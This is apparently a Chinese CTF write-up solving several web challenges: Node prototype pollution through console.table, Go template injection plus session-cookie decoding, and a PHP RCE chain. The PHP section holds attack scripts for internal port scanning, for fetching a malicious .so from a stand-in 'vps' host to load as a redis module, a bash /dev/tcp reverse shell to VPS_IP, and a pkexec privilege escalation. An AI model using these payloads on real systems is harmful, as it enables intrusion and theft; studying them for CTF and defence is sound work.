Game V4.0

在data.js中可以找到flag

Newcalc0

知识点
分析

进入题目,点击查看源代码

const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
  const e = req.body.e;
  if (!e) {
    res.send("wrong?");
    return;
  }
  try {
    res.send(vm.run("module.exports="+e)?.toString() ?? "no");
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/flag", (req, res) => {
  if(Object.keys(Object.prototype).length > 0) {
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

app.use("/source", (req, res) => {
  let p = req.query.path || "/src/index.js";
  p = path.join(path.resolve("."), path.resolve(p));
  console.log(p);
  res.sendFile(p);
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

题目既然提示了package.json,我们通过代码审计发现可以通过/source路由访问文件

image-20220224190153055

同样可以通过将镜像下载到本地,知道了package.json文件的位置url/source?path=/package.json

image-20220224190327456

明白了node的版本是14.10.1,我们查看CVE的影响版本

image-20220224190451560

只允许将空字符串分配给对象原型的数字键。

验证这个漏洞原理

直接使用console.table([{}], "__proto__");会产生错误,但是提示的这个错误也证明了Object.prototype[0] ,正常的为undefined

image-20220224191703610

image-20220224191729175

我们使用try-catch进行异常处理

console.log(Object.prototype[0]);
console.log("------------------");
try{
    console.table([{}], ["__proto__"]);
} catch(e){
    if(Object.keys(Object.prototype).length > 0){
        console.log("绕过了if判断语句");
        console.log("污染后Object.prototype[0]的值为" + Object.prototype[0]);
    }
}

image-20220224192212499

我们接下来看/flag路由的代码

app.use("/flag", (req, res) => {
  if(Object.keys(Object.prototype).length > 0) {
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

我们就可以通过console.table进行污染绕过if语句得到环境变量中的FLAG

image-20220224192630001

访问/flag路由,绕过if语句

image-20220224192704408

Gocalc0

知识点
  • SSTI
分析

SSTI获取源码

package main

import (
	_ "embed"
	"fmt"
	"os"
	"reflect"
	"strings"
	"text/template"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/maja42/goval"
)

//go:embed template/index.html
var tpl string

//go:embed main.go
var source string

type Eval struct {
	E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
	eval := goval.NewEvaluator()
	result, err := eval.Evaluate(e.E, nil, nil)
	if err != nil {
		return "", err
	}
	t := reflect.ValueOf(result).Type().Kind()

	if t == reflect.Int {
		return fmt.Sprintf("%d", result.(int)), nil
	} else if t == reflect.String {
		return result.(string), nil
	} else {
		return "", fmt.Errorf("not valid type")
	}
}

func (e Eval) String() string {
	res, err := e.Result()
	if err != nil {
		fmt.Println(err)
		res = "invalid"
	}
	return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
	session := sessions.Default(c)

	var his string

	if session.Get("history") == nil {
		his = ""
	} else {
		his = session.Get("history").(string)
	}

	fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
	t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
	if err != nil {
		fmt.Println(err)
		c.String(500, "internal error")
		return
	}
	if err := t.Execute(c.Writer, map[string]string{
		"s0uR3e": source,
	}); err != nil {
		fmt.Println(err)
	}
}

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}

	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))

	r.GET("/", func(c *gin.Context) {
		render(c)
	})

	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		session.Set("FLAG", os.Getenv("FLAG"))
		session.Save()
		c.String(200, "flag is in your session")
	})

	r.POST("/", func(c *gin.Context) {
		session := sessions.Default(c)

		var his string

		if session.Get("history") == nil {
			his = ""
		} else {
			his = session.Get("history").(string)
		}

		eval := Eval{}
		if err := c.ShouldBind(&eval); err == nil {
			his = his + eval.String() + "<br/>"
		}
		session.Set("history", his)
		session.Save()
		render(c)
	})

	r.Run(fmt.Sprintf(":%s", port))
}

在本地搭建

package main
import ( 
    _ "embed" 
    "fmt" 
    "os" 
    
    "github.com/gin-contrib/sessions" 
    "github.com/gin-contrib/sessions/cookie" 
    "github.com/gin-gonic/gin"
)
func main() { 
    port := os.Getenv("PORT") 
    if port == "" {
        port = "8080" 
    } 
    r := gin.Default() 
    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e")) 
    r.Use(sessions.Sessions("session", store))
    r.GET("/", func(c *gin.Context) { 
        session := sessions.Default(c) 
        println(session.Get("FLAG").(string)) 
    }) 
    r.Run(fmt.Sprintf(":%s", port))
}

将得到的cookie添加进去

Interesting PHP

知识点
  • phpinfo()绕过 ini_get_all(), get_cfg_var("disable_functions"), get_cfg_var("open_basedir")
  • redis备份文件泄露
  • 端口探测
  • SUID提权 pkexec提权POC
分析

映入眼帘的是一个RCE

image-20220228125146157

但是使用phpinfo()发现被禁掉了

使用其他方法查看disable_functions中的内容(ini_get_all())

image-20220228125419271

[disable_functions] => Array ( [global_value] => include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var 
                              [local_value] => include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var

查看当前目录的文件

image-20220228125752223

看名字知道secret.rdb是备份文件泄露

下载文件,查看内容

image-20220228130049543

image-20220228130209593

所以redis的key是:ye_w4nt_a_girlfri3nd

然后查找redis服务对应的端口

  1. 使用curl探测
import requests

url = "http://efa0bd4c-40fb-4988-b6e3-15a5486d9aff.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {
    "content-type": "application/x-www-form-urlencoded"
}
payload = """
    function Curl($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($ch);
        if ($result != ''){
            echo $result.$url;
        }
    }
    for($i = 0; $i < 9999; $i++){
        Curl("dict://127.0.0.1:$i/");
    }
"""
data = {
    0: payload
}
res = requests.post(url, data=data, headers=headers).text
print(res)

image-20220228180237133

开放了端口80和8888

  1. 利用file_put_contents上传文件,通过stream_socket_server()函数来探测端口
//上传php代码为。1.php
<?php
    highlight_file(__FILE__);
    for($i = 0; $i < 99999; $i++){
        $tcp = stream_socket_server("tcp://0.0.0.0:".$i, $errno, $errstr);
        if($errstr === "Address already in use") {
            var_dump($i);
        }
    }
?>

image-20220228182012011

image-20220228182035789

同样可以发现开放了80和8888端口

通常可以通过蚁剑等工具连接redis实现主从复制RCE,但是他利用的是stream_get_contents()函数,被禁掉了的

我们可以写入so文件,通过curl加载so文件

import requests

url = "http://efa0bd4c-40fb-4988-b6e3-15a5486d9aff.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {
    "content-type": "application/x-www-form-urlencoded"
}
so_file_url = "http://vps/exp.so"
payload = """
    function Curl($url){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($ch);
        curl_close($ch);
        file_put_contents("exp.so", $result);
    }
    Curl("''' + so_file_url + '''");
""".strip()
data = {
    0: payload
}
res = requests.post(url, data=data, headers=headers).text
print(res)

然后通过构造反弹shell的payload

$redis = new Redis();
$redis->connect('127.0.0.1',8888);
$redis->auth('ye_w4nt_a_gir1fri3nd');
$redis->rawCommand('module','load','/var/www/html/exp.so');
$redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/VPS_IP/PORT <&1'");

反弹成功后没有权限读取flag文件

使用pkexec提权漏洞[https://github.com/arthepsy/CVE-2021-4034]

进而读取flag